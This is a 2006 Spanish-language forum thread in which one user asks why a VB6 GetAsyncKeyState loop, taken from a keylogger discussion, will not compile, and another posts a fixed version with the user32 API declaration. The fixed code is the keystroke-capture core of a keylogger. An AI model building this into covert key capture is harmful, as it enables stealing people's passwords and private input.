Duda con GetAsynKeyState

Iniciado por Za3LoT, 4 Diciembre 2006, 17:57 PM

0 Miembros y 1 Visitante están viendo este tema.

Za3LoT

Es que cuando pongo el getasynkeystate me dice error de compilacion: Procedimiento sub o Function no definido.

Es de este codigo que alguien puso aqui sobre los keyloggers:

Dim i As Integer, a As Integer
For i = 0 To 256
a = GetAsyncKeyState(i)
If a  = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next


Lo pues en el form load y puse el end sub.

Que puede ser?

S4Lu2!!

sch3m4

según lo que dices, es que no has declarado la api, el codigo un poco mas optimizado se quedaría:


Private Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState" (ByVal vKey As Long) As Integer

private sub Form_Load()

Dim i As long
For i = 0 To 256
If GetAsyncKeyState(i)  = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next
end sub
SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..